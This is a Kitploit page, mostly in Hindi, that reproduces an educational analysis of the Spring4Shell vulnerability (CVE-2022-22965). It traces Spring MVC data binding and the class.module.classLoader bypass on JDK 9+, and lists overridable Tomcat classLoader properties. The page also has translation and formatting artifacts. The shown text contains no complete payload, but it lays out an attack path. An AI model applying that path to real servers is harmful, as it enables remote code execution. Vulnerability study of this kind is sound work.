Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
spring-RCE-CVE-2022-22965 — Educational analysis and proof-of-concept exploit for CVE-2022-22965, a Spring MVC/WebFlux remote code execution vulnerability via data binding on JDK 9+ with Tomcat WAR deployment. | Kitploit
उपकरण/GitHubGitHub/enokiy/spring-rce-cve-2022-22965
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणलर्निंग और शिक्षा
GitHubenokiy/spring-rce-cve-2022-22965

spring-RCE-CVE-2022-22965

Educational analysis and proof-of-concept exploit for CVE-2022-22965, a Spring MVC/WebFlux remote code execution vulnerability via data binding on JDK 9+ with Tomcat WAR deployment.

रिपॉजिटरी देखें
24 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

भेद्यता परिचय

हाल ही में Spring में एक बड़ा CVE भेद्यता सामने आया है। CVE जानकारी के अनुसार, "JDK 9+ पर चलने वाला Spring MVC या Spring WebFlux एप्लिकेशन डेटा बाइंडिंग के माध्यम से रिमोट कोड एक्ज़ीक्यूशन (RCE) के लिए संवेदनशील हो सकता है। विशिष्ट एक्सप्लॉइट के लिए एप्लिकेशन को Tomcat पर WAR डिप्लॉयमेंट के रूप में चलाना आवश्यक है। यदि एप्लिकेशन Spring Boot एक्ज़ीक्यूटेबल जार के रूप में डिप्लॉय किया गया है, अर्थात डिफ़ॉल्ट, तो यह एक्सप्लॉइट के लिए संवेदनशील नहीं है। हालांकि, भेद्यता की प्रकृति अधिक सामान्य है, और इसका शोषण करने के अन्य तरीके भी हो सकते हैं।" इस विश्लेषण का उद्देश्य इस CVE को पुन: प्रस्तुत करके भेद्यता के सिद्धांत को सीखना है।

जावा बीन API

स्प्रिंगएमवीसी के पैरामीटर बाइंडिंग सिद्धांत को देखने से पहले, आइए पहले जावा बीन से संबंधित कुछ API को देखें।

  • java Bean: वास्तव में यह एक विनिर्देश है। जब कोई क्लास इस विनिर्देश को पूरा करता है, तो इस क्लास को अन्य विशिष्ट क्लास द्वारा कॉल किया जा सकता है। जब किसी क्लास को java Bean के रूप में उपयोग किया जाता है, तो उसमें निजी गुणों का एक सेट होता है, और public get/is() या set() विधियों के माध्यम से गुणों को पढ़ा और लिखा जाता है।
  • Introspector: The Introspector class provides a standard way for tools to learn about the properties, events, and methods supported by a target Java Bean. For each of those three kinds of information, the Introspector will separately analyze the bean's class and superclasses looking for either explicit or implicit information and use that information to build a BeanInfo object that comprehensively describes the target bean.(जावा बीन क्लास के गुणों, घटनाओं और विधियों के लिए जावा द्वारा प्रदान की गई डिफ़ॉल्ट हैंडलिंग विधि। उदाहरण के लिए, किसी बीन क्लास के गुण/विधि की खोज करते समय, यदि वर्तमान बीन क्लास में यह गुण नहीं मिलता है, तो बीन क्लास के पैरेंट क्लास में खोज की जाती है, आदि।)
  • BeanInfo: Introspect on a Java Bean and learn about all its properties, exposed methods, and events. If the BeanInfo class for a Java Bean has been previously Introspected then the BeanInfo class is retrieved from the BeanInfo cache.(जावा बीन का इंट्रोस्पेक्ट करें और इसके सभी गुणों, उजागर विधियों और घटनाओं को जानें। यदि किसी जावा बीन के लिए BeanInfo क्लास पहले इंट्रोस्पेक्ट किया गया है, तो BeanInfo क्लास को BeanInfo कैश से प्राप्त किया जाता है।)
  • PropertyDescriptor: इसका उपयोग जावा बीन द्वारा एक्सेसर विधियों के सेट के माध्यम से उजागर किए गए गुणों का वर्णन करने के लिए किया जाता है।
  • निम्नलिखित java bean क्लास घोषित करें:```java public class User { private String name;

    root@kitploit:~
    public User() {
    }
    public void setName(String name) {
        this.name = name;
    }
    public String getName() {
        return this.name;
    }
    public int getAge() {
        return 18;
    }
    

    }

    root@kitploit:~
    निम्नलिखित परीक्षण कोड के साथ देखें कि Introspector.getBeanInfo द्वारा प्राप्त जानकारी क्या है:```java
    @Test
        public  void testIntrospector() throws IntrospectionException {
            BeanInfo beanInfo = Introspector.getBeanInfo(User.class);
            for (PropertyDescriptor pdesc:beanInfo.getPropertyDescriptors()){
                System.out.println("Property: " + pdesc.getName() + ",Class:" + pdesc.getPropertyType());
            }
    //        for (MethodDescriptor md:beanInfo.getMethodDescriptors()) {
    //            System.out.println("Method: " + md.getName());
    //        }
        }
    

    आउटपुट:```text Property: age,Class:int Property: class,Class:class java.lang.Class Property: name,Class:class java.lang.String

    root@kitploit:~
    पूर्वानुमानित age और उसके अलावा, एक class गुण भी है, जिसका नाम Class है। यदि आगे Introspector.getBeanInfo(Class.class) को कॉल किया जाए तो classLoader जैसी अधिक जानकारी प्राप्त की जा सकती है:```text jdk11:
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: nestHost
    Property: nestMembers
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    इसके अलावा, विभिन्न JDK संस्करणों के अंतर्गत Introspector.getBeanInfo(Class.class) द्वारा प्राप्त जानकारी के अंतर की तुलना करें, ऊपर वाला jdk-11 का आउटपुट है, नीचे वाला JDK8 का आउटपुट है:```text jdk8: Property: annotatedInterfaces Property: annotatedSuperclass Property: annotation Property: annotations Property: anonymousClass Property: array Property: canonicalName Property: class Property: classLoader Property: classes Property: componentType Property: constructors Property: declaredAnnotations Property: declaredClasses Property: declaredConstructors Property: declaredFields Property: declaredMethods Property: declaringClass Property: enclosingClass Property: enclosingConstructor Property: enclosingMethod Property: enum Property: enumConstants Property: fields Property: genericInterfaces Property: genericSuperclass Property: interface Property: interfaces Property: localClass Property: memberClass Property: methods Property: modifiers Property: name Property: package Property: primitive Property: protectionDomain Property: signers Property: simpleName Property: superclass Property: synthetic Property: typeName Property: typeParameters

    root@kitploit:~
    [No input content provided to translate.]```text
    Property: annotatedInterfaces
    Property: annotatedSuperclass
    Property: annotation
    Property: annotations
    Property: anonymousClass
    Property: array
    Property: canonicalName
    Property: class
    Property: classLoader
    Property: classes
    Property: componentType
    Property: constructors
    Property: declaredAnnotations
    Property: declaredClasses
    Property: declaredConstructors
    Property: declaredFields
    Property: declaredMethods
    Property: declaringClass
    Property: enclosingClass
    Property: enclosingConstructor
    Property: enclosingMethod
    Property: enum
    Property: enumConstants
    Property: fields
    Property: genericInterfaces
    Property: genericSuperclass
    Property: interface
    Property: interfaces
    Property: localClass
    Property: memberClass
    Property: methods
    Property: modifiers
    Property: module
    Property: name
    Property: package
    Property: packageName
    Property: primitive
    Property: protectionDomain
    Property: signers
    Property: simpleName
    Property: superclass
    Property: synthetic
    Property: typeName
    Property: typeParameters
    

    jdk9 में JDK8 की तुलना में दो अतिरिक्त विशेषताएँ हैं: module और packageName, जबकि JDK11 में module और packageName के अलावा दो और विशेषताएँ हैं: nestHost और nestMembers।

    data binding डेटा बाइंडिंग

    वेब-आधारित फ्रेमवर्क में पैरामीटर बाइंडिंग की प्रक्रिया, सरल शब्दों में कहें तो, फ्रेमवर्क HTTP अनुरोधों में स्ट्रिंग रूप में आए पैरामीटर को सर्वर-साइड पर आवश्यक प्रकार में बदलता है। उदाहरण के लिए spring MVC: दो Bean क्लास User और UserInfo को परिभाषित करें:```java public class UserInfo { public User getUser() { return user; }

    root@kitploit:~
    public void setUser(User user) {
        this.user = user;
    }
    
    public String getPassword() {
        return password;
    }
    
    public void setPassword(String password) {
        this.password = password;
    }
    
    private User user;
    private String password;
    
    @Override
    public String toString() {
        return "UserInfo{" +
                "user=" + user +
                ", password='" + password + '\'' +
                '}';
    }
    

    }

    root@kitploit:~
    निम्नलिखित controller का उपयोग परीक्षण के रूप में करें:```java
    import org.springframework.web.bind.annotation.RequestMapping;
    import org.springframework.web.bind.annotation.RestController;
    
    @RestController
    public class DemoController {
        public DemoController() {
        }
    
        @RequestMapping({"/test"})
        public String test(User u) {
            System.out.println("access!");
            return "home";
        }
    
        @RequestMapping({"/get-user-info"})
        public String getUserInfo(UserInfo userInfo) {
            System.out.println("Name:"  + userInfo.getUser().getName());
            System.out.println("Age:"  + userInfo.getUser().getAge());
            System.out.println("password:" + userInfo.getPassword());
            System.out.println("classLoader:" + userInfo.getClass().getClassLoader());
    
            return userInfo.toString();
        }
    }
    

    जब हम /get-user-info?password=password&user.name=enokiy तक पहुँचते हैं, तो फ्रेमवर्क स्वचालित रूप से UserInfo वर्ग को इंस्टेंशिएट करता है और संबंधित मानों को संबंधित गुणों पर बांधता है (user.name के माध्यम से userInfo.user.name गुण तक नेस्टेड एक्सेस किया जा सकता है):

    हम डिबगिंग के माध्यम से Spring MVC में डेटा बाइंडिंग की पूरी प्रक्रिया देखते हैं: org.springframework.web.servlet.DispatcherServlet के doDispatch विधि से शुरू करते हुए, doDispatch विधि में पहले अनुरोध के आधार पर mappedHandler प्राप्त किया जाता है, फिर HandlerAdapter प्राप्त किया जाता है, और HandlerAdapter की handle() विधि को कॉल करके अनुरोध को संसाधित किया जाता है और फिर ModelAndView लौटाया जाता है:

    यहाँ HandlerAdapter ha = getHandlerAdapter(mappedHandler.getHandler()) में प्राप्त ha वास्तव में org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter वर्ग है, HandlerAdapter की handle() विधि निष्पादित करने के बाद, हम RequestMappingHandlerAdapter की invokeHandleMethod विधि में प्रवेश करते हैं:

    फिर invokeHandleMethod विधि में, handlerMethod के आधार पर ServletInvocableHandlerMethod का एक उदाहरण invocableMethod उत्पन्न किया जाता है, उपयुक्त dataBinderFactory और modelFactory तथा argumentResolvers सेट किए जाते हैं, और फिर invocableMethod के invokeAndHandle-->invokeForRequest-->getMethodArgumentValues विधि में विभिन्न आर्गुमेंट रिज़ॉल्वर के माध्यम से पार्स किया जाता है:

    यहाँ आर्गुमेंट रिज़ॉल्वर निम्नलिखित हैं:```text org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.PathVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.MatrixVariableMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestResponseBodyMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RequestPartMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMethodArgumentResolver org.springframework.web.method.annotation.RequestHeaderMapMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletCookieValueMethodArgumentResolver org.springframework.web.method.annotation.ExpressionValueMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.SessionAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.RequestAttributeMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletRequestMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletResponseMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.HttpEntityMethodProcessor org.springframework.web.servlet.mvc.method.annotation.RedirectAttributesMethodArgumentResolver org.springframework.web.method.annotation.ModelMethodProcessor org.springframework.web.method.annotation.MapMethodProcessor org.springframework.web.method.annotation.ErrorsMethodArgumentResolver org.springframework.web.method.annotation.SessionStatusMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.UriComponentsBuilderMethodArgumentResolver org.springframework.web.method.annotation.RequestParamMethodArgumentResolver org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor

    root@kitploit:~
    तो कैसे पता चलेगा कि वर्तमान अनुरोध में पैरामीटर्स को पार्स करने के लिए किस विशेष पैरामीटर रिज़ॉल्वर का उपयोग करना चाहिए? Spring MVC में, यह पैरामीटर्स के एनोटेशन जानकारी के आधार पर तय किया जाता है (कोड लॉजिक `HandlerMethodArgumentResolverComposite#getArgumentResolver` विधि में है)। उदाहरण के लिए, यदि `@RequestMapping` और `@modelAttribute` एनोटेशन का उपयोग किया जाता है, तो `org.springframework.web.servlet.mvc.method.annotation.ServletModelAttributeMethodProcessor` का उपयोग किया जाता है, `@RequestParam` के लिए RequestParamMethodArgumentResolver आदि।
    
    वर्तमान डेमो में उपयोग किया गया एनोटेशन `@RequestMapping` है, इसलिए हम आगे ServletModelAttributeMethodProcessor वर्ग में पैरामीटर बाइंडिंग की प्रक्रिया देखेंगे:```java
    public final Object resolveArgument(MethodParameter parameter, @Nullable ModelAndViewContainer mavContainer,
    			NativeWebRequest webRequest, @Nullable WebDataBinderFactory binderFactory) throws Exception {
    
    		Assert.state(mavContainer != null, "ModelAttributeMethodProcessor requires ModelAndViewContainer");
    		Assert.state(binderFactory != null, "ModelAttributeMethodProcessor requires WebDataBinderFactory");
    
    		String name = ModelFactory.getNameForParameter(parameter);
    		ModelAttribute ann = parameter.getParameterAnnotation(ModelAttribute.class);
    		if (ann != null) {
    			mavContainer.setBinding(name, ann.binding());
    		}
    
    		Object attribute = null;
    		BindingResult bindingResult = null;
    
    		if (mavContainer.containsAttribute(name)) {
    			attribute = mavContainer.getModel().get(name);
    		}
    		else {
    			// Create attribute instance
    			try {
    				attribute = createAttribute(name, parameter, binderFactory, webRequest);
    			}
    			catch (BindException ex) {
    				if (isBindExceptionRequired(parameter)) {
    					// No BindingResult parameter -> fail with BindException
    					throw ex;
    				}
    				// Otherwise, expose null/empty value and associated BindingResult
    				if (parameter.getParameterType() == Optional.class) {
    					attribute = Optional.empty();
    				}
    				bindingResult = ex.getBindingResult();
    			}
    		}
    
    		if (bindingResult == null) {
    			// Bean property binding and validation;
    			// skipped in case of binding failure on construction.
    			WebDataBinder binder = binderFactory.createBinder(webRequest, attribute, name);
    			if (binder.getTarget() != null) {
    				if (!mavContainer.isBindingDisabled(name)) {
    					bindRequestParameters(binder, webRequest);
    				}
    				validateIfApplicable(binder, parameter);
    				if (binder.getBindingResult().hasErrors() && isBindExceptionRequired(binder, parameter)) {
    					throw new BindException(binder.getBindingResult());
    				}
    			}
    			// Value type adaptation, also covering java.util.Optional
    			if (!parameter.getParameterType().isInstance(attribute)) {
    				attribute = binder.convertIfNecessary(binder.getTarget(), parameter.getParameterType(), parameter);
    			}
    			bindingResult = binder.getBindingResult();
    		}
    
    		// Add resolved attribute and BindingResult at the end of the model
    		Map<String, Object> bindingResultModel = bindingResult.getModel();
    		mavContainer.removeAttributes(bindingResultModel);
    		mavContainer.addAllAttributes(bindingResultModel);
    
    		return attribute;
    	}
    

    अनुरोध पैरामीटर से model में प्राचल का नाम प्राप्त करते समय, सबसे पहले यह देखें कि ModelAndViewContainer में वह प्राचल नाम शामिल है या नहीं। यदि है, तो सीधे ModelAndViewContainer से गुण प्राप्त करें, अन्यथा model का गुण बनाने के लिए ServletModelAttributeMethodProcessor#createAttribute विधि में प्रवेश करें:

    • ServletModelAttributeMethodProcessor#createAttribute:

      सबसे पहले वर्तमान वर्ग में यह जाँच करें कि अनुरोध के uri और पैरामीटर में प्राचल नाम शामिल है या नहीं (getRequestValueForAttribute विधि)। यदि है, तो मान लौटाएँ, अन्यथा super.createAttribute विधि पर जाएँ:

    • binderFactory.createBinder: WebRequestDataBinder बनाएँ

    • bindRequestParameters: ServletModelAttributeMethodProcessor#bindRequestParameters--> ServletRequestDataBinder#bind --> ServletRequestDataBinder#doBind -->DataBinder#doBind -->DataBinder#applyPropertyValues -->DataBinder#getPropertyAccessor().setPropertyValues:

    इनमें से DataBinder#doBind विधि में allowFields और requiredFields की कुछ जाँचें हैं, जो वर्तमान परीक्षण संस्करण में डिफ़ॉल्ट रूप से खाली हैं:

    AbstractPropertyAccessor#setPropertyValues(PropertyValues pvs, boolean ignoreUnknown, boolean ignoreInvalid) में प्रत्येक अनुरोध पैरामीटर के गुण मान को बाँधने के लिए AbstractPropertyAccessor#setPropertyValue विधि को लूप में कॉल किया जाता है। बंधन प्रक्रिया के दौरान, यदि पैरामीटर नाम में "." पाया जाता है, तो "." के बाद के गुण के लिए पुनरावर्ती बंधन करने हेतु getNestedPropertyAccessor को कॉल करना भी आवश्यक है:

    गुण मान प्राप्त करने की पुनरावर्ती प्रक्रिया निम्नलिखित डेटा प्रवाह प्रसंस्करण में प्रवेश करती है:```text AbstractNestablePropertyAccessor#getNestedPropertyAccessor-->AbstractNestablePropertyAccessor#setDefaultValue-->AbstractNestablePropertyAccessor#createDefaultPropertyValue-->AbstractNestablePropertyAccessor#getPropertyTypeDescriptor-->BeanWrapperImpl#getLocalPropertyHandler-->BeanWrapperImpl#getCachedIntrospectionResults

    root@kitploit:~
    और getLocalPropertyHandler में, getCachedIntrospectionResults विधि को कॉल किया जाता है ताकि cachedIntrospectionResults में वर्तमान गुण मौजूद है या नहीं, इसकी जाँच की जा सके। इस cachedIntrospectionResults में वर्तमान अनुरोध के गुणों के अलावा, एक class नामक गुण भी शामिल होता है:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/7c9e3bf3ba9832dd338ee71f075c3a7f90cd7ac4b94310336434cc4d6fde10a4.png)
    
    पहले उल्लिखित इंट्रोस्पेक्शन तंत्र में BeanInfo प्राप्त करते समय यह बताया गया था कि यदि Java Bean का BeanInfo वर्ग पहले से इंट्रोस्पेक्ट किया गया है, तो BeanInfo वर्ग को BeanInfo कैश से पुनर्प्राप्त किया जाता है, इसलिए यहाँ cachedIntrospectionResults की भूमिका इस सुविधा को लागू करना है:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    यहाँ, SpringMVC में पैरामीटर बाइंडिंग की प्रक्रिया को संक्षेप में प्रस्तुत करते हैं:
    1. SpringMVC आरंभीकरण के समय, RequestMappingHandlerAdapter वर्ग कुछ डिफ़ॉल्ट पैरामीटर रिज़ॉल्वर को argumentResolvers में जोड़ता है। जब SpringMVC को कोई अनुरोध प्राप्त होता है, तो वह DispatcherServlet के doDispatch में प्रवेश करता है। doDispatch विधि में पहले अनुरोध के आधार पर mappedHandler प्राप्त किया जाता है, फिर HandlerAdapter प्राप्त किया जाता है, और HandlerAdapter की handle() विधि को कॉल करके अनुरोध को संसाधित किया जाता है और ModelAndView लौटाया जाता है, फिर ViewResolver इसे पार्स करके View लौटाता है, और फ्रंट-एंड रिज़ॉल्वर अंत में दृश्य को रेंडर करता है।
    ![http://rui0.cn/wp-content/uploads/2019/10/Ping_Mu_Kuai_Zhao_-2019-10-17-_Xia_Wu_8.png](https://assets.kitploit.com/production/public/readmes/35879/082d72536dff18eff34f77c464bcbdfe4ff913fa5ce05b587da22a81ebdf05d2.png)
    2. HandlerAdapter की handle() विधि में अनुरोध को संसाधित करने की प्रक्रिया के दौरान, handlerMethod के आधार पर ServletInvocableHandlerMethod का एक उदाहरण invocableMethod उत्पन्न होता है, उपयुक्त dataBinderFactory, modelFactory और argumentResolvers सेट किए जाते हैं, फिर invocableMethod की invokeAndHandle --> invokeForRequest --> getMethodArgumentValues विधियों के माध्यम से विभिन्न पैरामीटर रिज़ॉल्वर द्वारा पार्सिंग की जाती है, जहाँ पैरामीटर रिज़ॉल्वर पैरामीटर की एनोटेशन जानकारी के आधार पर निर्धारित किए जाते हैं।
    3. पैरामीटर रिज़ॉल्वर पैरामीटर पार्स करता है, पहले अनुरोध पैरामीटर के अनुरूप handlerMethod पैरामीटर नाम का उदाहरण (गुण) उत्पन्न करता है, फिर DataBinder के माध्यम से अंततः BeanWrapperImpl में प्रवेश करता है ताकि बीन से संबंधित गुणों को असाइन किया जा सके। BeanWrapperImpl विशेष रूप से बीन बनाने, धारण करने और संशोधित करने के तरीकों को लागू करता है।
    इसमें setPropertyValue विधि पैरामीटर मान को निर्दिष्ट बीन के संबंधित गुणों (list, map आदि सहित) में इंजेक्ट कर सकती है, साथ ही नेस्टेड गुण मान भी सेट कर सकती है:
    
    ![http://rui0.cn/wp-content/uploads/2019/10/20170119132139329.jpeg](https://assets.kitploit.com/production/public/readmes/35879/6ddd9cc9b1d30ee9f7eb5ccaa133a58bdaf52348b3fa883ca5bd6d049698718c.png)
    
    चाहे वह Spring MVC का डेटा बाइंडिंग हो (विभिन्न पैरामीटरों को @RequestMapping एनोटेशन वाले अनुरोध हैंडलिंग विधि के पैरामीटर से बांधना) या BeanFactory (@Autowired एनोटेशन को संसाधित करना), दोनों में BeanWrapper इंटरफ़ेस का उपयोग किया जाता है।
    
    ### चर ओवरराइड
    
    ऊपर उल्लिखित setPropertyValue विधि नेस्टेड गुण सेट करते समय cachedIntrospectionResults में खोज करती है, और cachedIntrospectionResults में अनुरोध के पैरामीटर के अलावा एक class गुण भी होता है, इसलिए अनुरोध में class.classLoader.xx के माध्यम से classLoader के गुणों तक पहुँचा जा सकता है। यह Spring के प्रारंभिक संस्करणों में CVE-2010-1622 भेद्यता थी; और वर्तमान CVE-2022-22965 इस भेद्यता के सुरक्षा तंत्र को बायपास करना है:
    
    cachedIntrospectionResults की संरचना इस प्रकार है:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/04859312c68bb0ba7386a1fa22b246049c4e04ba4fc98a859abf14fb52a87165.png)
    
    1. Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO) के माध्यम से BeanClass की गुण जानकारी निकाली जाती है, क्योंकि Introspector.getBeanInfo(beanClass, Introspector.IGNORE_ALL_BEANINFO) विधि में stopClass निर्दिष्ट नहीं है, इसलिए जब वर्तमान वर्ग में गुण नहीं मिलते हैं, तो पैरेंट वर्ग में खोज की जाती है;
    2. Class वर्ग के ClassLoader और protectionDomain गुणों को अक्षम किया जाता है, यह CVE-2010-1622 की सुरक्षा विधि है;
    
    लेख की शुरुआत में विभिन्न JDK संस्करणों के तहत Introspector.getBeanInfo(xxx) द्वारा प्राप्त गुण मानों की तुलना की गई थी, JDK 9 और उसके ऊपर के संस्करणों में, दो अतिरिक्त गुण module और packageName दिखाई देते हैं, और module गुण के अंतर्गत classLoader गुण मौजूद है, इसलिए module गुण का उपयोग करके classLoader तक पहुँचा जा सकता है, इस प्रकार CVE-2010-1622 की सुरक्षा को बायपास करके चर ओवरराइड किया जा सकता है:
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/b3de4eb5e96fcfd67dcee0d75aa7a9beb84b2b3224ee8fc20b89fa70bd773fe7.png)
    
    ![](https://assets.kitploit.com/production/public/readmes/35879/0ac14514378c20fef1037eac6b336c8ca9673d2b560a3cbd880a4082e56976b1.png)
    
    ### भेद्यता का दोहन
    
    इस भेद्यता का मूल कारण चर ओवरराइड है, यह समझने के बाद, भेद्यता के दोहन की प्रक्रिया में समस्याओं पर नज़र डालते हैं:
    1. किन चरों को ओवरराइड किया जा सकता है?
    2. ओवरराइड किए गए चरों का क्या प्रभाव होता है?
    
    अब हम जानते हैं कि class.module.classLoader के माध्यम से चर ओवरराइड ऑपरेशन किया जा सकता है, तो वास्तव में कौन से चर ओवरराइड किए जा सकते हैं? SpringMVC के विभिन्न परिनियोजन परिदृश्यों में classLoader भिन्न होता है, इसलिए दोहन के तरीके सार्वभौमिक नहीं हैं।
    
    | परिनियोजन प्रकार | classLoader |
    | ---- | ---- |
    | SpringBoot FatJar | org.springframework.boot.loader.LaunchedURLClassLoader |
    | tomcat war | org.apache.catalina.loader.ParallelWebappClassLoader |
    | jetty war | org.eclipse.jetty.webapp.WebAppClassLoader |
    
    tomcat war परिनियोजन के तहत (वर्तमान परीक्षण वातावरण: "apache-tomcat-8.5.8" + "jdk-11.0.1"), class.module के अंतर्गत पढ़ने और लिखने योग्य गुण इस प्रकार हैं (अपूर्ण, जिन गुणों का प्रकार List/Map/Set है, उन्हें एकत्र नहीं किया गया):
    <details>
    <summary>
    class.module के अंतर्गत पढ़ने और लिखने योग्य गुण देखने के लिए क्लिक करें
    </summary>```text
    class.module
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.clearReferencesLogFactoryRelease
    class.module.classLoader.clearReferencesRmiTargets
    class.module.classLoader.clearReferencesStopThreads
    class.module.classLoader.clearReferencesStopTimerThreads
    class.module.classLoader.delegate
    class.module.classLoader.resources
    class.module.classLoader.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources
    class.module.classLoader.resources.allowLinking
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.cachingAllowed
    class.module.classLoader.resources.context
    class.module.classLoader.resources.domain
    class.module.classLoader.resources.trackLockedFiles
    class.module.classLoader.resources.cacheMaxSize
    class.module.classLoader.resources.cacheObjectMaxSize
    class.module.classLoader.resources.cacheTtl
    class.module.classLoader.resources.context
    class.module.classLoader.resources.context.addWebinfClassesResources
    class.module.classLoader.resources.context.allowCasualMultipartParsing
    class.module.classLoader.resources.context.altDDName
    class.module.classLoader.resources.context.antiResourceLocking
    class.module.classLoader.resources.context.applicationEventListeners
    class.module.classLoader.resources.context.applicationLifecycleListeners
    class.module.classLoader.resources.context.backgroundProcessorDelay
    class.module.classLoader.resources.context.charsetMapper
    class.module.classLoader.resources.context.charsetMapperClass
    class.module.classLoader.resources.context.clearReferencesHttpClientKeepAliveThread
    class.module.classLoader.resources.context.clearReferencesRmiTargets
    class.module.classLoader.resources.context.clearReferencesStopThreads
    class.module.classLoader.resources.context.clearReferencesStopTimerThreads
    class.module.classLoader.resources.context.cluster
    class.module.classLoader.resources.context.configFile
    class.module.classLoader.resources.context.configured
    class.module.classLoader.resources.context.containerSciFilter
    class.module.classLoader.resources.context.cookieProcessor
    class.module.classLoader.resources.context.cookies
    class.module.classLoader.resources.context.copyXML
    class.module.classLoader.resources.context.crossContext
    class.module.classLoader.resources.context.defaultContextXml
    class.module.classLoader.resources.context.defaultWebXml
    class.module.classLoader.resources.context.delegate
    class.module.classLoader.resources.context.denyUncoveredHttpMethods
    class.module.classLoader.resources.context.dispatchersUseEncodedPaths
    class.module.classLoader.resources.context.displayName
    class.module.classLoader.resources.context.distributable
    class.module.classLoader.resources.context.docBase
    class.module.classLoader.resources.context.domain
    class.module.classLoader.resources.context.effectiveMajorVersion
    class.module.classLoader.resources.context.effectiveMinorVersion
    class.module.classLoader.resources.context.failCtxIfServletStartFails
    class.module.classLoader.resources.context.fireRequestListenersOnFoards
    class.module.classLoader.resources.context.ignoreAnnotations
    class.module.classLoader.resources.context.instanceManager
    class.module.classLoader.resources.context.j2EEApplication
    class.module.classLoader.resources.context.j2EEServer
    class.module.classLoader.resources.context.jarScanner
    class.module.classLoader.resources.context.javaVMs
    class.module.classLoader.resources.context.jndiExceptionOnFailedWrite
    class.module.classLoader.resources.context.jspConfigDescriptor
    class.module.classLoader.resources.context.loader
    class.module.classLoader.resources.context.logEffectiveWebXml
    class.module.classLoader.resources.context.loginConfig
    class.module.classLoader.resources.context.manager
    class.module.classLoader.resources.context.mapperContextRootRedirectEnabled
    class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled
    class.module.classLoader.resources.context.name
    class.module.classLoader.resources.context.namingContextListener
    class.module.classLoader.resources.context.namingResources
    class.module.classLoader.resources.context.originalDocBase
    class.module.classLoader.resources.context.override
    class.module.classLoader.resources.context.parent
    class.module.classLoader.resources.context.parentClassLoader
    class.module.classLoader.resources.context.path
    class.module.classLoader.resources.context.preemptiveAuthentication
    class.module.classLoader.resources.context.privileged
    class.module.classLoader.resources.context.publicId
    class.module.classLoader.resources.context.realm
    class.module.classLoader.resources.context.reloadable
    class.module.classLoader.resources.context.renewThreadsWhenStoppingContext
    class.module.classLoader.resources.context.resourceOnlyServlets
    class.module.classLoader.resources.context.resources
    class.module.classLoader.resources.context.sendRedirectBody
    class.module.classLoader.resources.context.server
    class.module.classLoader.resources.context.sessionCookieDomain
    class.module.classLoader.resources.context.sessionCookieName
    class.module.classLoader.resources.context.sessionCookiePath
    class.module.classLoader.resources.context.sessionCookiePathUsesTrailingSlash
    class.module.classLoader.resources.context.sessionTimeout
    class.module.classLoader.resources.context.startChildren
    class.module.classLoader.resources.context.startStopThreads
    class.module.classLoader.resources.context.startupTime
    class.module.classLoader.resources.context.swallowAbortedUploads
    class.module.classLoader.resources.context.swallowOutput
    class.module.classLoader.resources.context.threadBindingListener
    class.module.classLoader.resources.context.tldScanTime
    class.module.classLoader.resources.context.tldValidation
    class.module.classLoader.resources.context.unloadDelay
